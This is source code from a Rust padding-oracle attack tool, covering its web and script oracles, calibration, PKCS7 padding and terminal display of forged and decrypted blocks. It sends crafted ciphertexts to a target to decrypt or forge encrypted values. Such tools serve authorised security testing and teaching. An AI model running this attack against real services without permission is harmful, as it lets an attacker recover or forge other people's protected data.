&'a impl Encode<'a>) -> Result<bool> { 44 | let status = Command::new("/bin/sh") 45 | .stdout(Stdio::null()) 46 | .stderr(Stdio::null()) 47 | .arg("-c") 48 | .arg(format!( 49 | "{} {}", 50 | self.path.as_path().to_str().ok_or_else(|| anyhow!( 51 | "Path `{}` invalid. Double check the path", 52 | self.path.display() 53 | ))?, 54 | cypher_text.encode() 55 | )) 56 | .status() 57 | .context(format!("Script execution failed: {}", self.path.display()))?; 58 | 59 | Ok(status.success()) 60 | } 61 | 62 | fn location(&self) -> OracleLocation { 63 | OracleLocation::Script(self.path.clone()) 64 | } 65 | fn thread_delay(&self) -> &ThreadDelay { 66 | self.config.thread_delay() 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/oracle/web/calibrate_web.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Context, Result}; 2 | use getset::Getters; 3 | use reqwest::{ 4 | blocking::{Client, Response}, 5 | Url, 6 | }; 7 | 8 | use crate::{ 9 | config::{thread_delay::ThreadDelay, SubConfig, WebConfig}, 10 | cypher_text::encode::Encode, 11 | oracle::oracle_location::OracleLocation, 12 | }; 13 | 14 | use super::{build_web_oracle, replace_keyword_occurrences, KeywordLocation}; 15 | 16 | /// Unlike with `ScriptOracle`, we don't know which response from the web oracle corresponds with "valid", and which corresponds to "incorrect padding". For `WebOracle` to magically work, we need to determine the "incorrect padding" response. This struct manages the requests used for the calibration. 17 | /// `ask_validation` needs to return the web request's `Response`.Meaning, `Oracle` can't be implemented. Also, implementing it would be confusing as `CalibrateWebOracle`'s purpose is different from normal oracles. 18 | #[derive(Getters)] 19 | pub(crate) struct CalibrationWebOracle { 20 | url: Url, 21 | #[getset(get = "pub(crate)")] 22 | config: WebConfig, 23 | web_client: Client, 24 | keyword_locations: Vec<KeywordLocation>, 25 | } 26 | 27 | impl CalibrationWebOracle { 28 | pub(crate) fn visit( 29 | oracle_location: &OracleLocation, 30 | oracle_config: &SubConfig, 31 | ) -> Result<Self> { 32 | let (url, web_client, keyword_locations, web_config) = 33 | build_web_oracle(oracle_location, oracle_config)?; 34 | 35 | let oracle = Self { 36 | url, 37 | config: web_config.clone(), 38 | web_client, 39 | keyword_locations, 40 | }; 41 | Ok(oracle) 42 | } 43 | 44 | pub(crate) fn ask_validation<'a>(&self, cypher_text: &'a impl Encode<'a>) -> Result<Response> { 45 | let (url, data, headers) = replace_keyword_occurrences( 46 | &self.url, 47 | &self.config, 48 | self.keyword_locations.iter(), 49 | &cypher_text.encode(), 50 | ) 51 | .context("Replacing all occurrences of keyword failed")?; 52 | 53 | let request = if self.config.post_data().is_none() { 54 | self.web_client.get(url) 55 | } else { 56 | self.web_client.post(url) 57 | }; 58 | let request = request.headers(headers); 59 | let request = match data { 60 | Some(data) => request.body(data), 61 | None => request, 62 | }; 63 | 64 | request.send().context("Sending request failed") 65 | } 66 | 67 | pub(crate) fn thread_delay(&self) -> &ThreadDelay { 68 | self.config.thread_delay() 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /src/oracle/web/mod.rs: -------------------------------------------------------------------------------- 1 | pub(crate) mod calibrate_web; 2 | 3 | use std::{collections::HashMap, str::FromStr}; 4 | 5 | use anyhow::{anyhow, Context, Result}; 6 | use getset::Setters; 7 | use reqwest::{ 8 | blocking::{Client, ClientBuilder}, 9 | header::{HeaderMap, HeaderName, HeaderValue}, 10 | redirect::Policy, 11 | Url, 12 | }; 13 | 14 | use crate::{ 15 | calibrator::calibration_response::CalibrationResponse, 16 | config::{thread_delay::ThreadDelay, SubConfig, WebConfig}, 17 | cypher_text::encode::Encode, 18 | }; 19 | 20 | use super::{oracle_location::OracleLocation, Oracle}; 21 | 22 | #[derive(Setters)] 23 | pub(crate) struct WebOracle { 24 | url: Url, 25 | config: WebConfig, 26 | web_client: Client, 27 | keyword_locations: Vec<KeywordLocation>, 28 | #[getset(set = "pub(crate)")] 29 | padding_error_response: Option<CalibrationResponse>, 30 | } 31 | 32 | impl Oracle for WebOracle { 33 | fn visit(oracle_location: &OracleLocation, oracle_config: &SubConfig) -> Result<Self> { 34 | let (url, web_client, keyword_locations, web_config) = 35 | build_web_oracle(oracle_location, oracle_config)?; 36 | 37 | let oracle = Self { 38 | url, 39 | config: web_config.clone(), 40 | web_client, 41 | keyword_locations, 42 | padding_error_response: None, 43 | }; 44 | Ok(oracle) 45 | } 46 | 47 | fn ask_validation<'a>(&self, cypher_text: &'a impl Encode<'a>) -> Result<bool> { 48 | let (url, data, headers) = replace_keyword_occurrences( 49 | &self.url, 50 | &self.config, 51 | self.keyword_locations.iter(), 52 | &cypher_text.encode(), 53 | ) 54 | .context("Replacing all occurrences of keyword failed")?; 55 | 56 | let request = if self.config.post_data().is_none() { 57 | self.web_client.get(url) 58 | } else { 59 | self.web_client.post(url) 60 | }; 61 | let request = request.headers(headers); 62 | let request = match data { 63 | Some(data) => request.body(data), 64 | None => request, 65 | }; 66 | 67 | let response = request.send().context("Sending request failed")?; 68 | let response = CalibrationResponse::from_response(response, *self.config.consider_body())?; 69 | 70 | let padding_error_response = self.padding_error_response.as_ref().expect("Web oracle not calibrated. We don't know how an (in)correct padding response looks like"); 71 | 72 | Ok(response != *padding_error_response) 73 | } 74 | 75 | fn location(&self) -> OracleLocation { 76 | OracleLocation::Web(self.url.clone()) 77 | } 78 | fn thread_delay(&self) -> &ThreadDelay { 79 | self.config.thread_delay() 80 | } 81 | } 82 | 83 | #[derive(Debug)] 84 | enum KeywordLocation { 85 | Url, 86 | PostData, 87 | Headers(HashMap<usize, HeaderWithKeyword>), 88 | } 89 | 90 | #[derive(Debug)] 91 | struct HeaderWithKeyword { 92 | keyword_in_name: bool, 93 | keyword_in_value: bool, 94 | } 95 | 96 | fn replace_keyword_occurrences<'a>( 97 | url: &Url, 98 | config: &WebConfig, 99 | keyword_locations: impl Iterator<Item = &'a KeywordLocation>, 100 | encoded_cypher_text: &str, 101 | ) -> Result<(Url, Option<String>, HeaderMap)> { 102 | let mut url = url.clone(); 103 | let mut data = config.post_data().clone(); 104 | let mut headers = None; 105 | 106 | for location in keyword_locations { 107 | match location { 108 | KeywordLocation::Url => { 109 | url = Url::parse(&url 110 | .to_string() 111 | .replace(config.keyword(), encoded_cypher_text)).expect("Target URL, which parsed correctly initially, doesn't parse any more after replacing the keyword"); 112 | } 113 | KeywordLocation::PostData => { 114 | data = Some( 115 | data.as_deref() 116 | .expect( 117 | "The keyword was found in the POST data, yet no POST data exists...", 118 | ) 119 | .replace(config.keyword(), encoded_cypher_text), 120 | ); 121 | } 122 | KeywordLocation::Headers(headers_with_keyword) => { 123 | headers = Some( 124 | replace_keyword_in_headers(config, headers_with_keyword, encoded_cypher_text) 125 | .context("Parsing headers failed")?, 126 | ); 127 | } 128 | } 129 | } 130 | 131 | // maybe there are no headers to replace, in which case the `HeaderMap` hasn't been constructed. Do it now 132 | if headers.is_none() { 133 | headers = Some( 134 | replace_keyword_in_headers(config, &HashMap::new(), encoded_cypher_text) 135 | .context("Parsing headers failed")?, 136 | ); 137 | } 138 | 139 | Ok(( 140 | url, 141 | data, 142 | headers.expect("HeaderMap should have been constructed even if no replacement in the headers is required"))) 143 | } 144 | 145 | fn replace_keyword_in_headers( 146 | config: &WebConfig, 147 | headers_with_keyword: &HashMap<usize, HeaderWithKeyword>, 148 | encoded_cypher_text: &str, 149 | ) -> Result<HeaderMap> { 150 | config 151 | .headers() 152 | .iter() 153 | .enumerate() 154 | .map(|(idx, header)| { 155 | // check if this header contains the keyword 156 | let (header_name, header_value) = match headers_with_keyword.get(&idx) { 157 | // do `HeaderName/HeaderValue::from_str` right away so we can prevent some `clone`s 158 | Some(replace_location) => { 159 | // replace if needed 160 | let resulting_name = if replace_location.keyword_in_name { 161 | HeaderName::from_str( 162 | &header.name().replace(config.keyword(), encoded_cypher_text), 163 | ) 164 | } else { 165 | HeaderName::from_str(header.name()) 166 | }; 167 | 168 | let resulting_value = if replace_location.keyword_in_value { 169 | HeaderValue::from_str( 170 | &header 171 | .value() 172 | .replace(config.keyword(), encoded_cypher_text), 173 | ) 174 | } else { 175 | HeaderValue::from_str(header.value()) 176 | }; 177 | 178 | (resulting_name, resulting_value) 179 | } 180 | None => ( 181 | HeaderName::from_str(header.name()), 182 | HeaderValue::from_str(header.value()), 183 | ), 184 | }; 185 | 186 | Ok(( 187 | header_name.context(format!("Header name invalid: {}", header.name()))?, 188 | header_value.context(format!("Header value invalid: {}", header.value()))?, 189 | )) 190 | }) 191 | .collect::<Result<_>>() 192 | } 193 | 194 | /// Try to indicate where the keyword is as precisely as possible. This is to prevent unneeded `.replace`s on every value, every time a request is made 195 | fn keyword_location(url: &Url, config: &WebConfig) -> Vec<KeywordLocation> { 196 | let mut keyword_locations = Vec::with_capacity(3); 197 | 198 | if url.to_string().contains(config.keyword()) { 199 | keyword_locations.push(KeywordLocation::Url); 200 | } 201 | 202 | if config 203 | .post_data() 204 | .as_deref() 205 | .unwrap_or_default() 206 | .contains(config.keyword()) 207 | { 208 | keyword_locations.push(KeywordLocation::PostData); 209 | } 210 | 211 | let headers_with_keyword = config 212 | .headers() 213 | .iter() 214 | .enumerate() 215 | .filter_map(|(idx, header)| { 216 | let keyword_in_name = header.name().contains(config.keyword()); 217 | let keyword_in_value = header.value().contains(config.keyword()); 218 | 219 | if keyword_in_name || keyword_in_value { 220 | Some(( 221 | idx, 222 | HeaderWithKeyword { 223 | keyword_in_name, 224 | keyword_in_value, 225 | }, 226 | )) 227 | } else { 228 | None 229 | } 230 | }) 231 | .collect::<HashMap<_, _>>(); 232 | if !headers_with_keyword.is_empty() { 233 | keyword_locations.push(KeywordLocation::Headers(headers_with_keyword)); 234 | } 235 | 236 | keyword_locations 237 | } 238 | 239 | fn build_web_oracle<'a>( 240 | oracle_location: &OracleLocation, 241 | oracle_config: &'a SubConfig, 242 | ) -> Result<(Url, Client, Vec<KeywordLocation>, &'a WebConfig)> { 243 | let url = match oracle_location { 244 | OracleLocation::Web(url) => url, 245 | OracleLocation::Script(_) => { 246 | panic!("Tried to visit the web oracle using a file path!"); 247 | } 248 | }; 249 | 250 | let oracle_config = match oracle_config { 251 | SubConfig::Web(config) => config, 252 | SubConfig::Script(_) => { 253 | panic!("Tried to visit the web oracle using script configs!"); 254 | } 255 | }; 256 | 257 | let keyword_locations = keyword_location(url, oracle_config); 258 | if keyword_locations.is_empty() { 259 | return Err(anyhow!( 260 | "Keyword not found in URL, headers, or POST data. Double check whether you indicated the cypher text's location. See `--keyword` for extra info" 261 | )); 262 | } 263 | 264 | let mut client_builder = ClientBuilder::new() 265 | .timeout(**oracle_config.request_timeout()) 266 | .danger_accept_invalid_certs(*oracle_config.insecure()) 267 | .user_agent(&**oracle_config.user_agent()); 268 | if !oracle_config.redirect() { 269 | client_builder = client_builder.redirect(Policy::none()); 270 | } 271 | if let Some(proxy) = oracle_config.proxy() { 272 | client_builder = client_builder.proxy(proxy.clone()); 273 | } 274 | 275 | let web_client = client_builder.build().context("Web client setup failed")?; 276 | 277 | Ok((url.to_owned(), web_client, keyword_locations, oracle_config)) 278 | } 279 | -------------------------------------------------------------------------------- /src/other.rs: -------------------------------------------------------------------------------- 1 | use std::io; 2 | 3 | use anyhow::{Context, Result}; 4 | use clap::IntoApp; 5 | use clap_complete::{generate, Shell}; 6 | 7 | use crate::{cli::Cli, config::thread_count::ThreadCount}; 8 | 9 | pub(super) const RETRY_DELAY_MS: u64 = 100; 10 | pub(super) const RETRY_MAX_ATTEMPTS: u64 = 3; 11 | 12 | pub(super) fn config_thread_pool(thread_count: &ThreadCount) -> Result<()> { 13 | rayon::ThreadPoolBuilder::new() 14 | .num_threads(**thread_count) 15 | .build_global() 16 | .context("Thread pool initialisation failed") 17 | } 18 | 19 | pub(super) fn generate_shell_autocomplete(shell: &Shell) { 20 | let mut app = Cli::into_app(); 21 | generate(*shell, &mut app, env!("CARGO_PKG_NAME"), &mut io::stdout()); 22 | } 23 | -------------------------------------------------------------------------------- /src/plain_text.rs: -------------------------------------------------------------------------------- 1 | use getset::Getters; 2 | use itertools::Itertools; 3 | 4 | use crate::{ 5 | block::{ 6 | block_size::{BlockSize, BlockSizeTrait}, 7 | Block, 8 | }, 9 | cypher_text::encode::AmountBlocksTrait, 10 | }; 11 | 12 | /// PKCS7 padded plain text. 13 | #[derive(Debug, Getters)] 14 | pub(super) struct PlainText { 15 | #[getset(get = "pub(super)")] 16 | blocks: Vec<Block>, 17 | } 18 | 19 | impl PlainText { 20 | pub(super) fn new(input_data: &str, block_size: &BlockSize) -> Self { 21 | let block_size = **block_size as usize; 22 | let padding_size = block_size - input_data.len() % block_size; 23 | 24 | let padded_blocks = input_data 25 | .as_bytes() 26 | .iter() 27 | .cloned() 28 | .pad_using(input_data.len() + padding_size, |_| padding_size as u8) 29 | .chunks(block_size) 30 | .into_iter() 31 | .map(|chunk| Block::from(&chunk.collect::<Vec<_>>()[..])) 32 | .collect(); 33 | 34 | Self { 35 | blocks: padded_blocks, 36 | } 37 | } 38 | } 39 | 40 | impl AmountBlocksTrait for PlainText { 41 | fn amount_blocks(&self) -> usize { 42 | self.blocks.len() 43 | } 44 | } 45 | 46 | impl BlockSizeTrait for PlainText { 47 | fn block_size(&self) -> BlockSize { 48 | self.blocks()[0].block_size() 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/tui/layout.rs: -------------------------------------------------------------------------------- 1 | use getset::Getters; 2 | use tui::layout::{Constraint, Direction, Layout, Rect}; 3 | 4 | #[derive(Getters)] 5 | pub(super) struct TuiLayout { 6 | // logic panel 7 | #[get = "pub(super)"] 8 | original_cypher_text_area: Rect, 9 | #[get = "pub(super)"] 10 | forged_block_area: Rect, 11 | #[get = "pub(super)"] 12 | intermediate_block_area: Rect, 13 | #[get = "pub(super)"] 14 | plain_text_area: Rect, 15 | 16 | // status panel 17 | #[get = "pub(super)"] 18 | status_panel_area: Rect, 19 | #[get = "pub(super)"] 20 | progress_bar_area: Rect, 21 | #[get = "pub(super)"] 22 | logs_area: Rect, 23 | } 24 | 25 | impl TuiLayout { 26 | pub(super) fn calculate(full_frame_size: Rect, min_width_for_horizontal_layout: u16) -> Self { 27 | let main_vertical_layout = Layout::default() 28 | .direction(Direction::Vertical) 29 | .margin(1) 30 | .constraints([Constraint::Ratio(3, 5), Constraint::Ratio(2, 5)].as_ref()) 31 | .split(full_frame_size); 32 | 33 | // main area for fancily showing logic at work 34 | let decyption_panel_direction = if full_frame_size.width < min_width_for_horizontal_layout { 35 | Direction::Vertical 36 | } else { 37 | Direction::Horizontal 38 | }; 39 | let logic_panel = Layout::default() 40 | .direction(decyption_panel_direction) 41 | .constraints( 42 | [ 43 | Constraint::Ratio(1, 5), 44 | Constraint::Ratio(1, 5), 45 | Constraint::Ratio(1, 5), 46 | Constraint::Ratio(2, 5), 47 | ] 48 | .as_ref(), 49 | ) 50 | .split(main_vertical_layout[0]); 51 | 52 | // lower area for showing the status 53 | let status_panel = Layout::default() 54 | .direction(Direction::Vertical) 55 | .margin(1) 56 | .constraints([Constraint::Ratio(1, 6), Constraint::Ratio(5, 6)].as_ref()) 57 | .split(main_vertical_layout[1]); 58 | 59 | Self { 60 | original_cypher_text_area: logic_panel[0], 61 | forged_block_area: logic_panel[1], 62 | intermediate_block_area: logic_panel[2], 63 | plain_text_area: logic_panel[3], 64 | status_panel_area: main_vertical_layout[1], 65 | progress_bar_area: status_panel[0], 66 | logs_area: status_panel[1], 67 | } 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /src/tui/mod.rs: -------------------------------------------------------------------------------- 1 | mod layout; 2 | pub(super) mod ui_event; 3 | mod widgets; 4 | 5 | use std::{ 6 | cmp::{max, min}, 7 | io::{self}, 8 | process, 9 | sync::{ 10 | atomic::{AtomicBool, AtomicI32, AtomicU16, AtomicUsize, Ordering}, 11 | Mutex, 12 | }, 13 | thread::sleep, 14 | time::Duration, 15 | }; 16 | 17 | use anyhow::{Context, Result}; 18 | use atty::Stream; 19 | use crossterm::{ 20 | cursor::Show, 21 | event::{Event, EventStream, KeyCode, KeyModifiers}, 22 | execute, 23 | terminal::{ 24 | disable_raw_mode, enable_raw_mode, EnterAlternateScreen, LeaveAlternateScreen, SetSize, 25 | }, 26 | }; 27 | use futures::FutureExt; 28 | use futures_timer::Delay; 29 | use log::error; 30 | use tui::{backend::CrosstermBackend, widgets::TableState, Terminal}; 31 | use tui_logger::{TuiWidgetEvent, TuiWidgetState}; 32 | 33 | use crate::{ 34 | block::{ 35 | block_size::{BlockSize, BlockSizeTrait}, 36 | Block, 37 | }, 38 | logging::LOG_TARGET, 39 | }; 40 | 41 | use self::{ 42 | layout::TuiLayout, 43 | ui_event::{UiControlEvent, UiDecryptionEvent, UiEncryptionEvent, UiEvent}, 44 | widgets::Widgets, 45 | }; 46 | 47 | const FRAME_SLEEP_MS: u64 = 20; 48 | const INPUT_POLL_MS: u64 = 50; 49 | 50 | pub(super) struct Tui { 51 | // the usage of a mutex here could be prevented by separating `Terminal` from `Tui`, it's only needed in the draw thread. However, the overhead of handling the mutex should be so small (especially given that only the draw thread accesses it) should be so small that it's unneeded. 52 | terminal: Mutex<Terminal<CrosstermBackend<io::Stdout>>>, 53 | min_width_for_horizontal_layout: u16, 54 | cols: AtomicU16, 55 | rows: AtomicU16, 56 | // because we enter a "different terminal" during the application's runtime, nothing is left when the user exits the program. This stores a list of messages to print after leaving the "different terminal", but before quitting the application 57 | print_after_exit: Mutex<Vec<String>>, 58 | exit_code: AtomicI32, 59 | 60 | ui_state: UiState, 61 | app_state: AppState, 62 | } 63 | 64 | struct UiState { 65 | running: AtomicBool, 66 | slow_redraw: AtomicBool, 67 | redraw: AtomicBool, 68 | 69 | log_view_state: Mutex<TuiWidgetState>, 70 | blocks_view_state: Mutex<TableState>, 71 | } 72 | 73 | struct AppState { 74 | // for progress calculation 75 | bytes_to_finish: AtomicUsize, 76 | bytes_finished: AtomicUsize, 77 | 78 | cypher_text_blocks: Mutex<Vec<Block>>, 79 | forged_blocks: Mutex<Vec<Block>>, 80 | intermediate_blocks: Mutex<Vec<Block>>, 81 | plain_text_blocks: Mutex<Vec<Block>>, 82 | } 83 | 84 | impl Tui { 85 | pub(super) fn new(block_size: &BlockSize) -> Result<Self> { 86 | enable_raw_mode()?; 87 | let mut stdout = io::stdout(); 88 | execute!(stdout, EnterAlternateScreen)?; 89 | 90 | let backend = CrosstermBackend::new(stdout); 91 | let mut terminal = Terminal::new(backend)?; 92 | terminal.clear().context("Clearing terminal failed")?; 93 | let cols = AtomicU16::new(terminal.size()?.width); 94 | let rows = AtomicU16::new(terminal.size()?.height); 95 | 96 | let tui = Self { 97 | terminal: Mutex::new(terminal), 98 | // enough space to display 2 tables of hex encoded blocks + padding 99 | min_width_for_horizontal_layout: (**block_size as usize * 12) as u16, 100 | cols, 101 | rows, 102 | print_after_exit: Mutex::new(vec![]), 103 | exit_code: AtomicI32::new(0), 104 | 105 | ui_state: UiState { 106 | running: AtomicBool::new(true), 107 | slow_redraw: AtomicBool::new(false), 108 | redraw: AtomicBool::new(true), 109 | 110 | log_view_state: Mutex::new(TuiWidgetState::new()), 111 | blocks_view_state: Mutex::new(TableState::default()), 112 | }, 113 | 114 | app_state: AppState { 115 | bytes_to_finish: AtomicUsize::new(1), 116 | bytes_finished: AtomicUsize::new(0), 117 | 118 | cypher_text_blocks: Mutex::new(vec![]), 119 | forged_blocks: Mutex::new(vec![]), 120 | intermediate_blocks: Mutex::new(vec![]), 121 | plain_text_blocks: Mutex::new(vec![]), 122 | }, 123 | }; 124 | 125 | Ok(tui) 126 | } 127 | 128 | /// Clean up terminal "hi-jacking". Ignores errors to try restore as much as possible 129 | pub(super) fn exit(&self) { 130 | let _ = disable_raw_mode(); 131 | 132 | let (cols, rows) = { 133 | ( 134 | self.cols.load(Ordering::Relaxed), 135 | self.rows.load(Ordering::Relaxed), 136 | ) 137 | }; 138 | let _ = execute!( 139 | io::stdout(), 140 | LeaveAlternateScreen, 141 | SetSize(cols, rows), 142 | Show 143 | ); 144 | 145 | // we could separate `self.print_after_exit` into a stdout and a stderr version, but (for now) it's unneeded for our use case 146 | let use_stderr = self.exit_code.load(Ordering::Relaxed) != 0; 147 | for message in self.print_after_exit.lock().unwrap().drain(..) { 148 | if use_stderr { 149 | eprintln!("{}", message); 150 | } else { 151 | println!("{}", message); 152 | } 153 | } 154 | 155 | process::exit(self.exit_code.load(Ordering::Relaxed)); 156 | } 157 | 158 | pub(super) async fn main_loop(&self) -> Result<()> { 159 | let (_, outputs) = async_scoped::AsyncScope::scope_and_block(|scope| { 160 | scope.spawn(self.draw_loop()); 161 | scope.spawn(self.input_loop()); 162 | }); 163 | 164 | outputs.into_iter().collect() 165 | } 166 | 167 | async fn draw_loop(&self) -> Result<()> { 168 | while self.ui_state.running.load(Ordering::Relaxed) { 169 | if self.need_redraw() { 170 | self.draw().context("Drawing UI failed")?; 171 | self.ui_state.redraw.store(false, Ordering::Relaxed); 172 | } 173 | 174 | if self.ui_state.slow_redraw.load(Ordering::Relaxed) { 175 | sleep(Duration::from_millis(FRAME_SLEEP_MS * 3)); 176 | } else { 177 | sleep(Duration::from_millis(FRAME_SLEEP_MS)); 178 | } 179 | } 180 | 181 | // 1 last draw to ensure errors are displayed 182 | self.draw().context("Drawing UI failed")?; 183 | 184 | Ok(()) 185 | } 186 | 187 | // need to handle user input async. Scrolling can generate too many events which crashes the app :) 188 | async fn input_loop(&self) -> Result<()> { 189 | let mut reader = EventStream::new(); 190 | 191 | while self.ui_state.running.load(Ordering::Relaxed) { 192 | let mut delay = Delay::new(Duration::from_millis(INPUT_POLL_MS)).fuse(); 193 | let mut event = futures::StreamExt::next(&mut reader).fuse(); 194 | 195 | futures::select_biased! { 196 | maybe_event = event => { 197 | if let Some(fallible_event) = maybe_event { 198 | match fallible_event { 199 | Ok(event) => self.handle_user_event(event), 200 | Err(e) => error!(target: LOG_TARGET, "{:?}", e), 201 | } 202 | } 203 | // else no event 204 | }, 205 | _ = delay => { /* no event */ } 206 | } 207 | } 208 | 209 | Ok(()) 210 | } 211 | 212 | pub(super) fn handle_application_event(&self, event: UiEvent) { 213 | match event { 214 | UiEvent::Decryption(event) => self.handle_decryption_event(event), 215 | UiEvent::Encryption(event) => self.handle_encryption_event(event), 216 | UiEvent::Control(event) => self.handle_control_event(event), 217 | } 218 | 219 | self.ui_state.redraw.store(true, Ordering::Relaxed); 220 | } 221 | 222 | fn handle_decryption_event(&self, event: UiDecryptionEvent) { 223 | match event { 224 | UiDecryptionEvent::InitDecryption(original_cypher_text_blocks) => { 225 | let block_size = original_cypher_text_blocks[0].block_size(); 226 | let amount_cypher_text_blocks = original_cypher_text_blocks.len(); 227 | 228 | *self.app_state.cypher_text_blocks.lock().unwrap() = original_cypher_text_blocks; 229 | 230 | let default_blocks = vec![Block::new(&block_size); amount_cypher_text_blocks]; 231 | *self.app_state.forged_blocks.lock().unwrap() = default_blocks.clone(); 232 | *self.app_state.intermediate_blocks.lock().unwrap() = default_blocks.clone(); 233 | *self.app_state.plain_text_blocks.lock().unwrap() = default_blocks; 234 | } 235 | UiDecryptionEvent::BlockSolved(forged_block, cypher_text_block_idx) => { 236 | let intermediate = forged_block.to_intermediate(); 237 | 238 | let plain_text = &intermediate 239 | ^ &self.app_state.cypher_text_blocks.lock().unwrap()[cypher_text_block_idx - 1]; 240 | 241 | self.app_state.forged_blocks.lock().unwrap()[cypher_text_block_idx - 1] = 242 | forged_block; 243 | self.app_state.intermediate_blocks.lock().unwrap()[cypher_text_block_idx] = 244 | intermediate; 245 | self.app_state.plain_text_blocks.lock().unwrap()[cypher_text_block_idx] = 246 | plain_text; 247 | } 248 | UiDecryptionEvent::BlockWip(forged_block, cypher_text_block_idx) => { 249 | let intermediate = forged_block.to_intermediate(); 250 | 251 | let plain_text = &intermediate 252 | ^ &self.app_state.cypher_text_blocks.lock().unwrap()[cypher_text_block_idx - 1]; 253 | 254 | // `try_lock` as updating isn't critical. This is mainly for visuals 255 | if let Ok(mut blocks) = self.app_state.forged_blocks.try_lock() { 256 | blocks[cypher_text_block_idx - 1] = forged_block; 257 | } 258 | if let Ok(mut blocks) = self.app_state.intermediate_blocks.try_lock() { 259 | blocks[cypher_text_block_idx] = intermediate; 260 | } 261 | if let Ok(mut blocks) = self.app_state.plain_text_blocks.try_lock() { 262 | blocks[cypher_text_block_idx] = plain_text; 263 | } 264 | } 265 | } 266 | } 267 | 268 | fn handle_encryption_event(&self, event: UiEncryptionEvent) { 269 | match event { 270 | UiEncryptionEvent::InitEncryption(plain_text_blocks, init_cypher_text) => { 271 | let block_size = plain_text_blocks[0].block_size(); 272 | let amount_plain_text_blocks = plain_text_blocks.len(); 273 | 274 | *self.app_state.plain_text_blocks.lock().unwrap() = { 275 | let mut blocks = vec![Block::new(&block_size)]; 276 | blocks.extend(plain_text_blocks); 277 | blocks 278 | }; 279 | 280 | // +1 for the IV 281 | let default_blocks = vec![Block::new(&block_size); amount_plain_text_blocks + 1]; 282 | *self.app_state.intermediate_blocks.lock().unwrap() = default_blocks.clone(); 283 | *self.app_state.forged_blocks.lock().unwrap() = default_blocks; 284 | 285 | // the first solve for an encryption gives the before last cypher text, so the initial cypher text needs to be set here 286 | *self.app_state.cypher_text_blocks.lock().unwrap() = { 287 | let mut blocks = vec![Block::new(&block_size); amount_plain_text_blocks]; 288 | blocks.push(init_cypher_text); 289 | blocks 290 | }; 291 | } 292 | UiEncryptionEvent::BlockSolved(forged_block, cypher_text_block_idx) => { 293 | let intermediate = forged_block.to_intermediate(); 294 | 295 | let cypher_text = &intermediate 296 | ^ &self.app_state.plain_text_blocks.lock().unwrap()[cypher_text_block_idx]; 297 | 298 | self.app_state.intermediate_blocks.lock().unwrap()[cypher_text_block_idx] = 299 | intermediate; 300 | self.app_state.forged_blocks.lock().unwrap()[cypher_text_block_idx - 1] = 301 | forged_block; 302 | self.app_state.cypher_text_blocks.lock().unwrap()[cypher_text_block_idx - 1] = 303 | cypher_text; 304 | } 305 | UiEncryptionEvent::BlockWip(forged_block, cypher_text_block_idx) => { 306 | let intermediate = forged_block.to_intermediate(); 307 | 308 | let cypher_text = &intermediate 309 | ^ &self.app_state.plain_text_blocks.lock().unwrap()[cypher_text_block_idx]; 310 | 311 | // `try_lock` as updating isn't critical. This is mainly for visuals 312 | if let Ok(mut blocks) = self.app_state.intermediate_blocks.try_lock() { 313 | blocks[cypher_text_block_idx] = intermediate; 314 | }; 315 | if let Ok(mut blocks) = self.app_state.forged_blocks.try_lock() { 316 | blocks[cypher_text_block_idx - 1] = forged_block; 317 | }; 318 | if let Ok(mut blocks) = self.app_state.cypher_text_blocks.try_lock() { 319 | blocks[cypher_text_block_idx - 1] = cypher_text; 320 | }; 321 | } 322 | } 323 | } 324 | 325 | fn handle_control_event(&self, event: UiControlEvent) { 326 | match event { 327 | UiControlEvent::IndicateWork(bytes_to_finish) => { 328 | self.app_state 329 | .bytes_to_finish 330 | .store(bytes_to_finish, Ordering::Relaxed); 331 | } 332 | // due to concurrency, we can't just send which blocks was finished. So this acts as a "ping" to indicate that a byte was locked 333 | UiControlEvent::ProgressUpdate(newly_solved_bytes) => { 334 | self.app_state 335 | .bytes_finished 336 | .fetch_add(newly_solved_bytes, Ordering::Relaxed); 337 | } 338 | UiControlEvent::PrintAfterExit(message) => { 339 | self.print_after_exit.lock().unwrap().push(message); 340 | } 341 | UiControlEvent::ExitCode(code) => { 342 | self.exit_code.store(code, Ordering::Relaxed); 343 | } 344 | UiControlEvent::SlowRedraw => { 345 | // keeping the UI running/application open without a TTY is useless. The user can't read anything anyway 346 | if !atty::is(Stream::Stdout) { 347 | self.exit(); 348 | } 349 | self.ui_state.slow_redraw.store(true, Ordering::Relaxed); 350 | } 351 | } 352 | } 353 | 354 | fn need_redraw(&self) -> bool { 355 | self.ui_state.redraw.load(Ordering::Relaxed) 356 | // during slow redraw, there's no need to optimise the UI. The timeout per frame is already long enough. Also, slow redraw is done after the decryption is finished, so the UI doesn't have to be as optimised 357 | || self.ui_state.slow_redraw.load(Ordering::Relaxed) 358 | } 359 | 360 | fn draw(&self) -> Result<&Self> { 361 | // only draw UI if in a TTY. This allows users to redirect output to a file 362 | if atty::is(Stream::Stdout) { 363 | self.terminal.lock().unwrap().draw(|frame| { 364 | let layout = 365 | TuiLayout::calculate(frame.size(), self.min_width_for_horizontal_layout); 366 | let widgets = Widgets::build(&self.app_state, &self.ui_state); 367 | 368 | frame.render_widget(widgets.outer_border, frame.size()); 369 | 370 | let mut blocks_view_state = self.ui_state.blocks_view_state.lock().unwrap().clone(); 371 | frame.render_stateful_widget( 372 | widgets.original_cypher_text_view, 373 | *layout.original_cypher_text_area(), 374 | &mut blocks_view_state, 375 | ); 376 | frame.render_stateful_widget( 377 | widgets.forged_block_view, 378 | *layout.forged_block_area(), 379 | &mut blocks_view_state, 380 | ); 381 | frame.render_stateful_widget( 382 | widgets.intermediate_block_view, 383 | *layout.intermediate_block_area(), 384 | &mut blocks_view_state, 385 | ); 386 | frame.render_stateful_widget( 387 | widgets.plain_text_view, 388 | *layout.plain_text_area(), 389 | &mut blocks_view_state, 390 | ); 391 | 392 | frame.render_widget(widgets.status_panel_border, *layout.status_panel_area()); 393 | frame.render_widget(widgets.progress_bar, *layout.progress_bar_area()); 394 | // no `render_stateful_widget` as `TuiLoggerWidget` doesn't implement `StatefulWidget`, but handles it custom 395 | frame.render_widget(widgets.logs_view, *layout.logs_area()); 396 | })?; 397 | } 398 | 399 | Ok(self) 400 | } 401 | 402 | fn handle_user_event(&self, event: Event) { 403 | match event { 404 | Event::Key(pressed_key) => { 405 | match pressed_key.code { 406 | KeyCode::Char(char_key) => { 407 | // re-implement CTRL+C which was disabled by raw-mode 408 